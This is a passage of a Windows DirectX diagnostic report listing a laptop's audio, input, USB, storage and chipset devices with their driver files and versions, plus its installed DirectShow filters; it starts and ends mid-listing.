Driver Provider: Realtek Semiconductor Corp. HW Accel Level: Basic Cap Flags: 0xF1F Min/Max Sample Rate: 100, 200000 Static/Strm HW Mix Bufs: 1, 0 Static/Strm HW 3D Bufs: 0, 0 HW Memory: 0 Voice Management: No EAX(tm) 2.0 Listen/Src: No, No I3DL2(tm) Listen/Src: No, No Sensaura(tm) ZoomFX(tm): No Description: Realtek HDMI Output (Realtek High Definition Audio) Default Sound Playback: No Default Voice Playback: No Hardware ID: HDAUDIO\FUNC_01&VEN_10EC&DEV_0888&SUBSYS_10250121&REV_1001 Manufacturer ID: 1 Product ID: 100 Type: WDM Driver Name: RTKVHDA.sys Driver Version: 6.00.0001.5901 (English) Driver Attributes: Final Retail WHQL Logo'd: Yes Date and Size: 7/23/2009 17:56:12, 2737248 bytes Other Files: Driver Provider: Realtek Semiconductor Corp. HW Accel Level: Basic Cap Flags: 0xF1F Min/Max Sample Rate: 100, 200000 Static/Strm HW Mix Bufs: 1, 0 Static/Strm HW 3D Bufs: 0, 0 HW Memory: 0 Voice Management: No EAX(tm) 2.0 Listen/Src: No, No I3DL2(tm) Listen/Src: No, No Sensaura(tm) ZoomFX(tm): No Description: Realtek Digital Output (Realtek High Definition Audio) Default Sound Playback: No Default Voice Playback: No Hardware ID: HDAUDIO\FUNC_01&VEN_10EC&DEV_0888&SUBSYS_10250121&REV_1001 Manufacturer ID: 1 Product ID: 100 Type: WDM Driver Name: RTKVHDA.sys Driver Version: 6.00.0001.5901 (English) Driver Attributes: Final Retail WHQL Logo'd: Yes Date and Size: 7/23/2009 17:56:12, 2737248 bytes Other Files: Driver Provider: Realtek Semiconductor Corp. HW Accel Level: Basic Cap Flags: 0xF1F Min/Max Sample Rate: 100, 200000 Static/Strm HW Mix Bufs: 1, 0 Static/Strm HW 3D Bufs: 0, 0 HW Memory: 0 Voice Management: No EAX(tm) 2.0 Listen/Src: No, No I3DL2(tm) Listen/Src: No, No Sensaura(tm) ZoomFX(tm): No --------------------- Sound Capture Devices --------------------- Description: Microphone (Realtek High Definition Audio) Default Sound Capture: Yes Default Voice Capture: Yes Driver Name: RTKVHDA.sys Driver Version: 6.00.0001.5901 (English) Driver Attributes: Final Retail Date and Size: 7/23/2009 17:56:12, 2737248 bytes Cap Flags: 0x1 Format Flags: 0xFFFFF ------------------- DirectInput Devices ------------------- Device Name: Mouse Attached: 1 Controller ID: n/a Vendor/Product ID: n/a FF Driver: n/a Device Name: Keyboard Attached: 1 Controller ID: n/a Vendor/Product ID: n/a FF Driver: n/a Device Name: Microsoft eHome Infrared Transceiver Attached: 1 Controller ID: 0x0 Vendor/Product ID: 0x045E, 0x006D FF Driver: n/a Device Name: Microsoft eHome Infrared Transceiver Attached: 1 Controller ID: 0x0 Vendor/Product ID: 0x045E, 0x006D FF Driver: n/a Device Name: Microsoft eHome Infrared Transceiver Attached: 1 Controller ID: 0x0 Vendor/Product ID: 0x045E, 0x006D FF Driver: n/a Device Name: Microsoft eHome Infrared Transceiver Attached: 1 Controller ID: 0x0 Vendor/Product ID: 0x045E, 0x006D FF Driver: n/a Device Name: Generic USB Joystick Attached: 1 Controller ID: 0x0 Vendor/Product ID: 0x1345, 0x1000 FF Driver: n/a Poll w/ Interrupt: No ----------- USB Devices ----------- + USB Root Hub | Vendor/Product ID: 0x8086, 0x2832 | Matching Device ID: usb\root_hub | Service: usbhub | Driver: usbhub.sys, 8/18/2015 00:51:18, 258560 bytes | Driver: usbd.sys, 8/18/2015 00:51:18, 6016 bytes ---------------- Gameport Devices ---------------- ------------ PS/2 Devices ------------ + Standard PS/2 Keyboard | Matching Device ID: *pnp0303 | Service: i8042prt | Driver: i8042prt.sys, 7/14/2009 02:11:24, 80896 bytes | Driver: kbdclass.sys, 7/14/2009 04:20:36, 42576 bytes | + Microsoft eHome Remote Control Keyboard keys | Matching Device ID: hid\irdevicev2&col05 | Service: kbdhid | Driver: kbdhid.sys, 11/21/2010 00:29:03, 28160 bytes | Driver: kbdclass.sys, 7/14/2009 04:20:36, 42576 bytes | + Microsoft eHome MCIR Keyboard | Matching Device ID: hid\irdevicev2&col06 | Service: kbdhid | Driver: kbdhid.sys, 11/21/2010 00:29:03, 28160 bytes | Driver: kbdclass.sys, 7/14/2009 04:20:36, 42576 bytes | + Microsoft eHome MCIR 109 Keyboard | Matching Device ID: hid\irdevicev2&col07 | Service: kbdhid | Driver: kbdhid.sys, 11/21/2010 00:29:03, 28160 bytes | Driver: kbdclass.sys, 7/14/2009 04:20:36, 42576 bytes | + Terminal Server Keyboard Driver | Matching Device ID: root\rdp_kbd | Upper Filters: kbdclass | Service: TermDD | Driver: i8042prt.sys, 7/14/2009 02:11:24, 80896 bytes | Driver: kbdclass.sys, 7/14/2009 04:20:36, 42576 bytes | + Synaptics PS/2 Port TouchPad | Matching Device ID: *syn1b03 | Upper Filters: SynTP | Service: i8042prt | + HID-compliant mouse | Matching Device ID: hid_device_system_mouse | Service: mouhid | Driver: mouhid.sys, 7/14/2009 02:45:08, 26112 bytes | Driver: mouclass.sys, 7/14/2009 04:20:44, 41552 bytes | + HID-compliant mouse | Vendor/Product ID: 0x04F3, 0x0235 | Matching Device ID: hid_device_system_mouse | Service: mouhid | Driver: mouhid.sys, 7/14/2009 02:45:08, 26112 bytes | Driver: mouclass.sys, 7/14/2009 04:20:44, 41552 bytes | + Terminal Server Mouse Driver | Matching Device ID: root\rdp_mou | Upper Filters: mouclass | Service: TermDD | Driver: termdd.sys, 11/21/2010 00:29:03, 53120 bytes | Driver: sermouse.sys, 7/14/2009 02:45:08, 19968 bytes | Driver: mouclass.sys, 7/14/2009 04:20:44, 41552 bytes ------------------------ Disk & DVD/CD-ROM Drives ------------------------ Drive: C: Free Space: 14.2 GB Total Space: 114.5 GB File System: NTFS Model: Hitachi HTS542512K9SA00 Drive: D: Model: TSSTcorp CDDVDW TS-L632H ATA Device Driver: c:\windows\system32\drivers\cdrom.sys, 6.01.7601.17514 (Lithuanian), 11/21/2010 00:29:03, 108544 bytes -------------- System Devices -------------- Name: Mobile Intel(R) PM965/GM965/GL960/GS965 Express Processor to DRAM Controller - 2A00 Device ID: PCI\VEN_8086&DEV_2A00&SUBSYS_01211025&REV_03\3&21436425&0&00 Driver: n/a Name: Intel(R) ICH8 Family USB2 Enhanced Host Controller - 2836 Device ID: PCI\VEN_8086&DEV_2836&SUBSYS_01211025&REV_03\3&21436425&0&EF Driver: C:\Windows\system32\drivers\usbehci.sys, 6.01.7601.18328 (English), 8/18/2015 00:51:18, 43520 bytes Driver: C:\Windows\system32\drivers\usbport.sys, 6.01.7601.18328 (English), 8/18/2015 00:51:18, 284672 bytes Driver: C:\Windows\system32\drivers\usbhub.sys, 6.01.7601.18328 (English), 8/18/2015 00:51:18, 258560 bytes Name: Intel(R) 82801 PCI Bridge - 2448 Device ID: PCI\VEN_8086&DEV_2448&SUBSYS_00000000&REV_F3\3&21436425&0&F0 Driver: C:\Windows\system32\DRIVERS\pci.sys, 6.01.7601.17514 (English), 11/21/2010 00:29:03, 153984 bytes Name: Intel(R) ICH8M Ultra ATA Storage Controllers - 2850 Device ID: PCI\VEN_8086&DEV_2850&SUBSYS_01211025&REV_03\3&21436425&0&F9 Driver: C:\Windows\system32\DRIVERS\intelide.sys, 6.01.7600.16385 (English), 7/14/2009 04:20:36, 15424 bytes Driver: C:\Windows\system32\DRIVERS\pciidex.sys, 6.01.7600.16385 (Lithuanian), 7/14/2009 04:19:03, 42560 bytes Driver: C:\Windows\system32\DRIVERS\atapi.sys, 6.01.7600.16385 (English), 7/14/2009 04:26:15, 21584 bytes Driver: C:\Windows\system32\DRIVERS\ataport.sys, 6.01.7601.18231 (Lithuanian), 8/18/2015 00:51:05, 133056 bytes Name: Intel(R) ICH8 Family USB Universal Host Controller - 2835 Device ID: PCI\VEN_8086&DEV_2835&SUBSYS_01211025&REV_03\3&21436425&0&D1 Driver: C:\Windows\system32\drivers\usbuhci.sys, 6.01.7601.18328 (English), 8/18/2015 00:51:18, 24064 bytes Driver: C:\Windows\system32\drivers\usbport.sys, 6.01.7601.18328 (English), 8/18/2015 00:51:18, 284672 bytes Driver: C:\Windows\system32\drivers\usbhub.sys, 6.01.7601.18328 (English), 8/18/2015 00:51:18, 258560 bytes Name: Broadcom NetLink (TM) Gigabit Ethernet Device ID: PCI\VEN_14E4&DEV_1693&SUBSYS_01211025&REV_02\4&1D1097F2&0&00E5 Driver: n/a Name: High Definition Audio Controller Device ID: PCI\VEN_8086&DEV_284B&SUBSYS_01211025&REV_03\3&21436425&0&D8 Driver: C:\Windows\system32\DRIVERS\hdaudbus.sys, 6.01.7601.17514 (English), 11/21/2010 00:29:03, 108544 bytes Name: Intel(R) ICH8 Family USB Universal Host Controller - 2834 Device ID: PCI\VEN_8086&DEV_2834&SUBSYS_01211025&REV_03\3&21436425&0&D0 Driver: C:\Windows\system32\drivers\usbuhci.sys, 6.01.7601.18328 (English), 8/18/2015 00:51:18, 24064 bytes Driver: C:\Windows\system32\drivers\usbport.sys, 6.01.7601.18328 (English), 8/18/2015 00:51:18, 284672 bytes Driver: C:\Windows\system32\drivers\usbhub.sys, 6.01.7601.18328 (English), 8/18/2015 00:51:18, 258560 bytes Name: Ricoh xD-Picture Card Controller Device ID: PCI\VEN_1180&DEV_0852&SUBSYS_01211025&REV_12\4&6AD4B7A&0&4CF0 Driver: C:\Windows\system32\DRIVERS\rixdptsk.sys, 6.00.0001.0000 (Japanese), 11/14/2006 17:35:20, 37376 bytes Driver: C:\Windows\system32\rixdicon.dll, 5/6/2005 19:06:00, 16480 bytes Name: Intel(R) ICH8 Family PCI Express Root Port 6 - 2849 Device ID: PCI\VEN_8086&DEV_2849&SUBSYS_01211025&REV_03\3&21436425&0&E5 Driver: C:\Windows\system32\DRIVERS\pci.sys, 6.01.7601.17514 (English), 11/21/2010 00:29:03, 153984 bytes Name: Intel(R) ICH8 Family USB Universal Host Controller - 2832 Device ID: PCI\VEN_8086&DEV_2832&SUBSYS_01211025&REV_03\3&21436425&0&EA Driver: C:\Windows\system32\drivers\usbuhci.sys, 6.01.7601.18328 (English), 8/18/2015 00:51:18, 24064 bytes Driver: C:\Windows\system32\drivers\usbport.sys, 6.01.7601.18328 (English), 8/18/2015 00:51:18, 284672 bytes Driver: C:\Windows\system32\drivers\usbhub.sys, 6.01.7601.18328 (English), 8/18/2015 00:51:18, 258560 bytes Name: Ricoh SD/MMC Host Controller Device ID: PCI\VEN_1180&DEV_0843&SUBSYS_01211025&REV_12\4&6AD4B7A&0&4AF0 Driver: C:\Windows\system32\DRIVERS\rimmptsk.sys, 6.00.0002.0003 (Japanese), 2/24/2007 15:42:22, 39936 bytes Name: Intel(R) ICH8 Family PCI Express Root Port 4 - 2845 Device ID: PCI\VEN_8086&DEV_2845&SUBSYS_01211025&REV_03\3&21436425&0&E3 Driver: C:\Windows\system32\DRIVERS\pci.sys, 6.01.7601.17514 (English), 11/21/2010 00:29:03, 153984 bytes Name: Intel(R) ICH8 Family USB Universal Host Controller - 2831 Device ID: PCI\VEN_8086&DEV_2831&SUBSYS_01211025&REV_03\3&21436425&0&E9 Driver: C:\Windows\system32\drivers\usbuhci.sys, 6.01.7601.18328 (English), 8/18/2015 00:51:18, 24064 bytes Driver: C:\Windows\system32\drivers\usbport.sys, 6.01.7601.18328 (English), 8/18/2015 00:51:18, 284672 bytes Driver: C:\Windows\system32\drivers\usbhub.sys, 6.01.7601.18328 (English), 8/18/2015 00:51:18, 258560 bytes Name: Ricoh 1394 OHCI Compliant Host Controller Device ID: PCI\VEN_1180&DEV_0832&SUBSYS_01211025&REV_05\4&6AD4B7A&0&48F0 Driver: C:\Windows\system32\DRIVERS\1394ohci.sys, 6.01.7601.17514 (English), 11/21/2010 00:29:03, 164864 bytes Name: Intel(R) PRO/Wireless 3945ABG Network Connection Device ID: PCI\VEN_8086&DEV_4222&SUBSYS_10018086&REV_02\4&10F04939&0&00E3 Driver: n/a Name: Intel(R) ICH8 Family PCI Express Root Port 1 - 283F Device ID: PCI\VEN_8086&DEV_283F&SUBSYS_01211025&REV_03\3&21436425&0&E0 Driver: C:\Windows\system32\DRIVERS\pci.sys, 6.01.7601.17514 (English), 11/21/2010 00:29:03, 153984 bytes Name: Intel(R) ICH8 Family USB Universal Host Controller - 2830 Device ID: PCI\VEN_8086&DEV_2830&SUBSYS_01211025&REV_03\3&21436425&0&E8 Driver: C:\Windows\system32\drivers\usbuhci.sys, 6.01.7601.18328 (English), 8/18/2015 00:51:18, 24064 bytes Driver: C:\Windows\system32\drivers\usbport.sys, 6.01.7601.18328 (English), 8/18/2015 00:51:18, 284672 bytes Driver: C:\Windows\system32\drivers\usbhub.sys, 6.01.7601.18328 (English), 8/18/2015 00:51:18, 258560 bytes Name: SDA Standard Compliant SD Host Controller Device ID: PCI\VEN_1180&DEV_0822&SUBSYS_01211025&REV_22\4&6AD4B7A&0&49F0 Driver: C:\Windows\system32\DRIVERS\sdbus.sys, 6.01.7601.17514 (English), 11/21/2010 00:29:03, 84992 bytes Name: Mobile Intel(R) 965 Express Chipset Family Device ID: PCI\VEN_8086&DEV_2A03&SUBSYS_01211025&REV_03\3&21436425&0&11 Driver: n/a Name: Intel(R) ICH8 Family SMBus Controller - 283E Device ID: PCI\VEN_8086&DEV_283E&SUBSYS_01211025&REV_03\3&21436425&0&FB Driver: n/a Name: Intel(R) 82801HEM/HBM SATA AHCI Controller Device ID: PCI\VEN_8086&DEV_2829&SUBSYS_01211025&REV_03\3&21436425&0&FA Driver: C:\Windows\system32\DRIVERS\iaStor.sys, 7.00.0001.1001 (English), 10/30/2007 15:05:00, 277784 bytes Name: Ricoh Memory Stick Controller Device ID: PCI\VEN_1180&DEV_0592&SUBSYS_01211025&REV_12\4&6AD4B7A&0&4BF0 Driver: C:\Windows\system32\snymsico.dll, 1.00.0000.9120 (English), 9/4/2004 04:00:00, 90112 bytes Driver: C:\Windows\system32\DRIVERS\rimsptsk.sys, 6.00.0001.0010 (Japanese), 1/23/2007 17:40:20, 42496 bytes Name: Mobile Intel(R) 965 Express Chipset Family Device ID: PCI\VEN_8086&DEV_2A02&SUBSYS_01211025&REV_03\3&21436425&0&10 Driver: C:\Windows\system32\DRIVERS\igdkmd32.sys, 8.14.0010.1930 (English), 9/23/2009 19:18:14, 4808192 bytes Driver: C:\Windows\system32\igdumd32.dll, 8.14.0010.1930 (English), 9/23/2009 19:18:08, 3829760 bytes Driver: C:\Windows\system32\igkrng400.bin, 9/23/2009 19:16:08, 2050952 bytes Driver: C:\Windows\system32\iglhxs32.vp, 9/23/2009 19:45:20, 39440 bytes Driver: C:\Windows\system32\iglhxo32.vp, 9/23/2009 18:45:12, 60015 bytes Driver: C:\Windows\system32\iglhxc32.vp, 9/23/2009 18:45:12, 60226 bytes Driver: C:\Windows\system32\iglhxg32.vp, 9/23/2009 18:45:12, 60254 bytes Driver: C:\Windows\system32\iglhxa32.vp, 9/23/2009 18:45:12, 1090 bytes Driver: C:\Windows\system32\iglhxa32.cpa, 9/23/2009 18:45:12, 1921265 bytes Driver: C:\Windows\system32\hccutils.dll, 8.14.0010.1930 (English), 9/23/2009 18:49:04, 94208 bytes Driver: C:\Windows\system32\igfxsrvc.dll, 8.14.0010.1930 (English), 9/23/2009 18:49:24, 51712 bytes Driver: C:\Windows\system32\igfxsrvc.exe, 8.14.0010.1930 (English), 9/23/2009 12:30:48, 252952 bytes Driver: C:\Windows\system32\igfxpph.dll, 8.14.0010.1930 (English), 9/23/2009 18:49:42, 199680 bytes Driver: C:\Windows\system32\igfxcpl.cpl, 8.14.0010.1930 (English), 9/23/2009 18:49:34, 119296 bytes Driver: C:\Windows\system32\igfxcfg.exe, 8.14.0010.1930 (English), 9/23/2009 12:30:50, 672792 bytes Driver: C:\Windows\system32\igfxdev.dll, 8.14.0010.1930 (English), 9/23/2009 18:49:00, 218112 bytes Driver: C:\Windows\system32\igfxdo.dll, 8.14.0010.1930 (English), 9/23/2009 18:49:10, 130048 bytes Driver: C:\Windows\system32\igfxtray.exe, 8.14.0010.1930 (English), 9/23/2009 12:30:48, 141848 bytes Driver: C:\Windows\system32\hkcmd.exe, 8.14.0010.1930 (English), 9/23/2009 12:30:48, 173592 bytes Driver: C:\Windows\system32\igfxress.dll, 8.14.0010.1930 (English), 9/23/2009 18:48:52, 5702656 bytes Driver: C:\Windows\system32\igfxpers.exe, 8.14.0010.1930 (English), 9/23/2009 12:30:48, 150552 bytes Driver: C:\Windows\system32\igfxTMM.dll, 8.14.0010.1930 (English), 9/23/2009 18:49:42, 257536 bytes Driver: C:\Windows\system32\TVWSetup.exe, 1.00.0001.0000 (English), 9/23/2009 12:30:50, 8198680 bytes Driver: C:\Windows\system32\igfxext.exe, 8.14.0010.1930 (English), 9/23/2009 12:30:48, 173080 bytes Driver: C:\Windows\system32\igfxexps.dll, 8.14.0010.1930 (English), 9/23/2009 18:49:36, 23552 bytes Driver: C:\Windows\system32\oemdspif.dll, 8.14.0010.1930 (English), 9/23/2009 18:49:38, 59392 bytes Driver: C:\Windows\system32\igfxrara.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:08, 252416 bytes Driver: C:\Windows\system32\igfxrchs.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:10, 178176 bytes Driver: C:\Windows\system32\igfxrcht.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:10, 179712 bytes Driver: C:\Windows\system32\igfxrdan.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:10, 280576 bytes Driver: C:\Windows\system32\igfxrdeu.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:10, 303616 bytes Driver: C:\Windows\system32\igfxrenu.lrc, 8.14.0010.1930 (English), 9/23/2009 18:48:52, 275968 bytes Driver: C:\Windows\system32\igfxresp.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:12, 303104 bytes Driver: C:\Windows\system32\igfxrfin.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:12, 281088 bytes Driver: C:\Windows\system32\igfxrfra.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:12, 303616 bytes Driver: C:\Windows\system32\igfxrheb.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:14, 249856 bytes Driver: C:\Windows\system32\igfxrita.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:14, 304640 bytes Driver: C:\Windows\system32\igfxrjpn.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:14, 206848 bytes Driver: C:\Windows\system32\igfxrkor.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:14, 205312 bytes Driver: C:\Windows\system32\igfxrnld.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:16, 299520 bytes Driver: C:\Windows\system32\igfxrnor.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:16, 280064 bytes Driver: C:\Windows\system32\igfxrplk.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:16, 287744 bytes Driver: C:\Windows\system32\igfxrptb.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:16, 289280 bytes Driver: C:\Windows\system32\igfxrptg.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:18, 294912 bytes Driver: C:\Windows\system32\igfxrrus.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:18, 291328 bytes Driver: C:\Windows\system32\igfxrsky.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:18, 282624 bytes Driver: C:\Windows\system32\igfxrslv.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:18, 277504 bytes Driver: C:\Windows\system32\igfxrsve.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:18, 282624 bytes Driver: C:\Windows\system32\igfxrtha.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:20, 262656 bytes Driver: C:\Windows\system32\igfxrcsy.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:10, 282624 bytes Driver: C:\Windows\system32\igfxrell.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:12, 310784 bytes Driver: C:\Windows\system32\igfxrhun.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:14, 288256 bytes Driver: C:\Windows\system32\igfxrtrk.lrc, 8.14.0010.1930 (English), 9/23/2009 18:52:20, 279040 bytes Driver: C:\Windows\system32\ig4icd32.dll, 8.14.0010.1930 (English), 9/23/2009 18:58:12, 4104192 bytes Driver: C:\Windows\system32\ig4dev32.dll, 8.14.0010.1930 (English), 9/23/2009 18:58:38, 2686976 bytes Driver: C:\Windows\system32\igd10umd32.dll, 8.14.0010.1930 (English), 9/23/2009 19:09:58, 2551808 bytes Driver: C:\Windows\system32\igdumdx32.dll, 8.14.0010.1930 (English), 9/23/2009 19:14:54, 536576 bytes Driver: C:\Windows\system32\igfxCoIn_v1930.dll, 1.01.0017.0000 (English), 9/23/2009 19:27:44, 155648 bytes Name: Intel(R) ICH8 Family USB2 Enhanced Host Controller - 283A Device ID: PCI\VEN_8086&DEV_283A&SUBSYS_01211025&REV_03\3&21436425&0&D7 Driver: C:\Windows\system32\drivers\usbehci.sys, 6.01.7601.18328 (English), 8/18/2015 00:51:18, 43520 bytes Driver: C:\Windows\system32\drivers\usbport.sys, 6.01.7601.18328 (English), 8/18/2015 00:51:18, 284672 bytes Driver: C:\Windows\system32\drivers\usbhub.sys, 6.01.7601.18328 (English), 8/18/2015 00:51:18, 258560 bytes Name: Intel(R) ICH8M LPC Interface Controller - 2815 Device ID: PCI\VEN_8086&DEV_2815&SUBSYS_01211025&REV_03\3&21436425&0&F8 Driver: C:\Windows\system32\DRIVERS\msisadrv.sys, 6.01.7600.16385 (English), 7/14/2009 04:20:43, 13888 bytes ------------------ DirectShow Filters ------------------ DirectShow Filters: WMAudio Decoder DMO,0x00800800,1,1,WMADMOD.DLL,6.01.7601.17514 WMAPro over S/PDIF DMO,0x00600800,1,1,WMADMOD.DLL,6.01.7601.17514 WMSpeech Decoder DMO,0x00600800,1,1,WMSPDMOD.DLL,6.01.7601.17514 MP3 Decoder DMO,0x00600800,1,1,mp3dmod.dll,6.01.7600.16385 Mpeg4s Decoder DMO,0x00800001,1,1,mp4sdecd.dll,6.01.7600.16385 WMV Screen decoder DMO,0x00600800,1,1,wmvsdecd.dll,6.01.7601.17514 WMVideo Decoder DMO,0x00800001,1,1,wmvdecod.dll,6.01.7601.18221 Mpeg43 Decoder DMO,0x00800001,1,1,mp43decd.dll,6.01.7600.16385 Mpeg4 Decoder DMO,0x00800001,1,1,mpg4decd.dll,6.01.7600.16385 ffdshow Video Decoder,0xff800001,2,1,ffdshow.ax,1.03.4534.0000 ffdshow raw video filter,0x00200000,2,1,ffdshow.ax,1.03.4534.0000 ffdshow Audio Decoder,0xff800001,1,1,ffdshow.ax,1.03.4534.0000 DV Muxer,0x00400000,0,0,qdv.dll,6.06.7601.17514 Color Space Converter,0x00400001,1,1,quartz.dll,6.06.7601.18741 LAV Splitter,0x00400001,1,1,LAVSplitter.ax,0.65.0000.0047 WM ASF Reader,0x00400000,0,0,qasf.dll,12.00.7601.17514 Screen Capture filter,0x00200000,0,1,wmpsrcwp.dll,12.00.7601.17514 AVI Splitter,0x00600000,1,1,quartz.dll,6.06.7601.18741 VGA 16 Color Ditherer,0x00400000,1,1,quartz.dll,6.06.7601.18741 SBE2MediaTypeProfile,0x00200000,0,0,sbe.dll,6.06.7601.17528 Microsoft DTV-DVD Video Decoder,0x005fffff,2,4,msmpeg2vdec.dll,12.00.9200.17037 AC3 Parser Filter,0x00600000,1,1,mpg2splt.ax,6.06.7601.17528 StreamBufferSink,0x00200000,0,0,sbe.dll,6.06.7601.17528 Microsoft TV Captions Decoder,0x00200001,1,0,MSTVCapn.dll,6.01.7601.17715 MJPEG Decompressor,0x00600000,1,1,quartz.dll,6.06.7601.18741 CBVA DMO wrapper filter,0x00200000,1,1,cbva.dll,6.01.7601.17514 MPEG-I Stream Splitter,0x00600000,1,2,quartz.dll,6.06.7601.18741 SAMI (CC) Parser,0x00400000,1,1,quartz.dll,6.06.7601.18741 VBI Codec,0x00600000,1,4,VBICodec.ax,6.06.7601.17514 MPEG-2 Splitter,0x005fffff,1,0,mpg2splt.ax,6.06.7601.17528 Closed Captions Analysis Filter,0x00200000,2,5,cca.dll,6.06.7601.17514 SBE2FileScan,0x00200000,0,0,sbe.dll,6.06.7601.17528 Microsoft MPEG-2 Video Encoder,0x00200000,1,1,msmpeg2enc.dll,6.01.7601.17514 Internal Script Command Renderer,0x00800001,1,0,quartz.dll,6.06.7601.18741 MPEG Audio Decoder,0x03680001,1,1,quartz.dll,6.06.7601.18741 DV Splitter,0x00600000,1,2,qdv.dll,6.06.7601.17514 Video Mixing Renderer 9,0x00200000,1,0,quartz.dll,6.06.7601.18741 Microsoft MPEG-2 Encoder,0x00200000,2,1,msmpeg2enc.dll,6.01.7601.17514 ACM Wrapper,0x00600000,1,1,quartz.dll,6.06.7601.18741 Video Renderer,0x00800001,1,0,quartz.dll,6.06.7601.18741 MPEG-2 Video Stream Analyzer,0x00200000,0,0,sbe.dll,6.06.7601.17528 Line 21 Decoder,0x00600000,1,1,qdvd.dll,6.06.7601.18741 Video Port Manager,0x00600000,2,1,quartz.dll,6.06.7601.18741 Video Renderer,0x00400000,1,0,quartz.dll,6.06.7601.18741 VPS Decoder,0x00200000,0,0,WSTPager.ax,6.06.7601.17514 WM ASF Writer,0x00400000,0,0,qasf.dll,12.00.7601.17514 VBI Surface Allocator,0x00600000,1,1,vbisurf.ax,6.01.7601.17514 File writer,0x00200000,1,0,qcap.dll,6.06.7601.17514 iTV Data Sink,0x00600000,1,0,itvdata.dll,6.06.7601.17514 Bandisoft MPEG-1 Video Decoder,0xff800001,1,1,bdfilters.dll,1.00.0005.0016 iTV Data Capture filter,0x00600000,1,1,itvdata.dll,6.06.7601.17514 VSFilter,0x00200000,2,1,vsfilter.dll,1.07.0009.0145 VSFilter (auto-loading version),0x00800002,2,1,vsfilter.dll,1.07.0009.0145 DVD Navigator,0x00200000,0,3,qdvd.dll,6.06.7601.18741 Microsoft TV Subtitles Decoder,0x00200001,1,0,MSTVCapn.dll,6.01.7601.17715 Overlay Mixer2,0x00200000,1,1,qdvd.dll,6.06.7601.18741 AVI Draw,0x00600064,9,1,quartz.dll,6.06.7601.18741 RDP DShow Redirection Filter,0xffffffff,1,0,DShowRdpFilter.dll, DC-Bass Source,0x00400000,0,1,DCBassSourceMod.ax,1.05.0002.0000 Microsoft MPEG-2 Audio Encoder,0x00200000,1,1,msmpeg2enc.dll,6.01.7601.17514 WST Pager,0x00200000,1,1,WSTPager.ax,6.06.7601.17514 MPEG-2 Demultiplexer,0x00600000,1,1,mpg2splt.ax,6.06.7601.17528 DV Video Decoder,0x00800000,1,1,qdv.dll,6.06.7601.17514 ffdshow Audio Processor,0x00200000,1,1,ffdshow.ax,1.03.4534.0000 LAV Splitter Source,0x00400001,0,1,LAVSplitter.ax,0.65.0000.0047 SampleGrabber,0x00200000,1,1,qedit.dll,6.06.7601.18501 Null Renderer,0x00200000,1,0,qedit.dll,6.06.7601.18501 MPEG-2 Sections and Tables,0x005fffff,1,0,Mpeg2Data.ax,6.06.7601.17514 Microsoft AC3 Encoder,0x00200000,1,1,msac3enc.dll,6.01.7601.17514 StreamBufferSource,0x00200000,0,0,sbe.dll,6.06.7601.17528 Smart Tee,0x00200000,1,2,qcap.dll,6.06.7601.17514 Overlay Mixer,0x00200000,0,0,qdvd.dll,6.06.7601.18741 AVI Decompressor,0x00600000,1,1,quartz.dll,6.06.7601.18741 NetBridge,0x00200000,2,0,netbridge.dll,6.01.7601.17514 AVI/WAV File Source,0x00400000,0,2,quartz.dll,6.06.7601.18741 Wave Parser,0x00400000,1,1,quartz.dll,6.06.7601.18741 MIDI Parser,0x00400000,1,1,quartz.dll,6.06.7601.18741 Multi-file Parser,0x00400000,1,1,quartz.dll,6.06.7601.18741 File stream renderer,0x00400000,1,1,quartz.dll,6.06.7601.18741 ffdshow subtitles filter,0x00200000,2,1,ffdshow.ax,1.03.4534.0000 Microsoft DTV-DVD Audio Decoder,0x005fffff,1,1,msmpeg2adec.dll,6.01.7140.0000 StreamBufferSink2,0x00200000,0,0,sbe.dll,6.06.7601.17528 AVI Mux,0x00200000,1,0,qcap.dll,6.06.7601.17514 Bandisoft MPEG-1 Audio Decoder,0xff800001,1,1,bdfilters.dll,1.00.0005.0016 Line 21 Decoder 2,0x00600002,1,1,quartz.dll,6.06.7601.18741 File Source (Async.),0x00400000,0,1,quartz.dll,6.06.7601.18741 File Source (URL),0x00400000,0,1,quartz.dll,6.06.7601.18741 Media Center Extender Encryption Filter,0x00200000,2,2,Mcx2Filter.dll,6.01.7601.17514 AudioRecorder WAV Dest,0x00200000,0,0,WavDest.dll, AudioRecorder Wave Form,0x00200000,0,0,WavDest.dll, SoundRecorder Null Renderer,0x00200000,0,0,WavDest.dll, LAV Audio Decoder,0x00800003,1,1,LAVAudio.ax,0.65.0000.0047 LAV Video Decoder,0xff800000,1,1,LAVVideo.ax,0.65.0000.0047 Infinite Pin Tee Filter,0x00200000,1,1,qcap.dll,6.06.7601.17514 Enhanced Video Renderer,0x00200000,1,0,evr.dll,6.01.7601.18741 BDA MPEG2 Transport Information Filter,0x00200000,2,0,psisrndr.ax,6.06.7601.17669 MPEG Video Decoder,0x40000001,1,1,quartz.dll,6.06.7601.18741 WDM Streaming Tee/Splitter Devices: Tee/Sink-to-Sink Converter,0x00200000,1,1,ksproxy.ax,6.01.7601.17514 Video Compressors: WMVideo8 Encoder DMO,0x00600800,1,1,wmvxencd.dll,6.01.7600.16385 WMVideo9 Encoder DMO,0x00600800,1,1,wmvencod.dll,6.01.7600.16385 MSScreen 9 encoder DMO,0x00600800,1,1,wmvsencd.dll,6.01.7600.16385 DV Video 